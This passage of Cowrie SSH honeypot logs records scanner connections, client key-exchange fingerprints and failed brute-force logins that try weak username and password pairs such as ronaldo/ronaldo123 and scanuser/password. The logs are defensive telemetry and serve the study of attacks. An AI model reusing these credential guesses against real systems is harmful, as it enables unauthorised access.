305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:50:43.802884Z","src_ip":"20.244.95.173","session":"81e98bc9162a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scan","password":"Passw0rd","message":"login attempt [scan/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:50:44.236618Z","src_ip":"20.244.95.173","session":"81e98bc9162a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:50:45.454726Z","src_ip":"20.244.95.173","session":"81e98bc9162a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":58068,"dst_ip":"159.203.135.109","dst_port":22,"session":"86326cf605d4","protocol":"ssh","message":"New connection: 162.120.6.20:58068 (159.203.135.109:22) [session: 86326cf605d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:51:26.575876Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:51:26.649713Z","src_ip":"162.120.6.20","session":"86326cf605d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":58070,"dst_ip":"159.203.135.109","dst_port":22,"session":"e27bc525d3f5","protocol":"ssh","message":"New connection: 162.120.6.20:58070 (159.203.135.109:22) [session: e27bc525d3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:51:26.714571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:51:26.718292Z","src_ip":"162.120.6.20","session":"e27bc525d3f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:51:26.788509Z","src_ip":"162.120.6.20","session":"e27bc525d3f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orange","password":"orange","message":"login attempt [orange/orange] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:51:27.000134Z","src_ip":"162.120.6.20","session":"e27bc525d3f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:51:28.072044Z","src_ip":"162.120.6.20","session":"e27bc525d3f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":38622,"dst_ip":"159.203.135.109","dst_port":22,"session":"83429c69cf4d","protocol":"ssh","message":"New connection: 213.209.159.159:38622 (159.203.135.109:22) [session: 83429c69cf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:34.467311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:35.355033Z","src_ip":"213.209.159.159","session":"83429c69cf4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:35.435109Z","src_ip":"213.209.159.159","session":"83429c69cf4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ronaldo","password":"ronaldo","message":"login attempt [ronaldo/ronaldo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:35.842018Z","src_ip":"213.209.159.159","session":"83429c69cf4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ronaldo","password":"ronaldo1","message":"login attempt [ronaldo/ronaldo1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:36.926847Z","src_ip":"213.209.159.159","session":"83429c69cf4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ronaldo","password":"ronaldo123","message":"login attempt [ronaldo/ronaldo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:38.013252Z","src_ip":"213.209.159.159","session":"83429c69cf4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ronaldo","password":"ronaldo1234","message":"login attempt [ronaldo/ronaldo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:39.099362Z","src_ip":"213.209.159.159","session":"83429c69cf4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ronaldo","password":"ronaldo12345","message":"login attempt [ronaldo/ronaldo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:40.186491Z","src_ip":"213.209.159.159","session":"83429c69cf4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:41.271859Z","src_ip":"213.209.159.159","session":"83429c69cf4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":42738,"dst_ip":"10.17.0.5","dst_port":22,"session":"e31e4a9c8504","protocol":"ssh","message":"New connection: 5.75.137.141:42738 (10.17.0.5:22) [session: e31e4a9c8504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:46.458864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:46.462590Z","src_ip":"5.75.137.141","session":"e31e4a9c8504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:46.554145Z","src_ip":"5.75.137.141","session":"e31e4a9c8504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scanuser","password":"password","message":"login attempt [scanuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:46.740317Z","src_ip":"5.75.137.141","session":"e31e4a9c8504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:52:47.835011Z","src_ip":"5.75.137.141","session":"e31e4a9c8504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":39402,"dst_ip":"159.203.135.109","dst_port":22,"session":"440ee2b119de","protocol":"ssh","message":"New connection: 64.176.195.200:39402 (159.203.135.109:22) [session: 440ee2b119de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:53:23.293599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:53:23.298191Z","src_ip":"64.176.195.200","session":"440ee2b119de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:53:23.302907Z","src_ip":"64.176.195.200","session":"440ee2b119de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calendar","password":"password","message":"login attempt [calendar/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:53:23.315079Z","src_ip":"64.176.195.200","session":"440ee2b119de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:53:24.321761Z","src_ip":"64.176.195.200","session":"440ee2b119de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":46082,"dst_ip":"159.203.135.109","dst_port":22,"session":"e47458eb56d0","protocol":"ssh","message":"New connection: 5.75.137.141:46082 (159.203.135.109:22) [session: e47458eb56d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:53:37.349700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:53:37.353969Z","src_ip":"5.75.137.141","session":"e47458eb56d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:53:37.443375Z","src_ip":"5.75.137.141","session":"e47458eb56d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scanuser","password":"password","message":"login attempt [scanuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:53:37.625614Z","src_ip":"5.75.137.141","session":"e47458eb56d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:53:38.716719Z","src_ip":"5.75.137.141","session":"e47458eb56d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":42730,"dst_ip":"10.17.0.5","dst_port":22,"session":"e924a6247f69","protocol":"ssh","message":"New connection: 45.79.127.249:42730 (10.17.0.5:22) [session: e924a6247f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:54:43.773500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:54:43.777351Z","src_ip":"45.79.127.249","session":"e924a6247f69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:54:43.985564Z","src_ip":"45.79.127.249","session":"e924a6247f69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"ricardo","message":"login attempt [ricardo/ricardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:54:44.404620Z","src_ip":"45.79.127.249","session":"e924a6247f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:54:45.614194Z","src_ip":"45.79.127.249","session":"e924a6247f69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":54016,"dst_ip":"159.203.135.109","dst_port":22,"session":"53023309f5a6","protocol":"ssh","message":"New connection: 172.187.200.190:54016 (159.203.135.109:22) [session: 53023309f5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:22.033830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:22.038534Z","src_ip":"172.187.200.190","session":"53023309f5a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh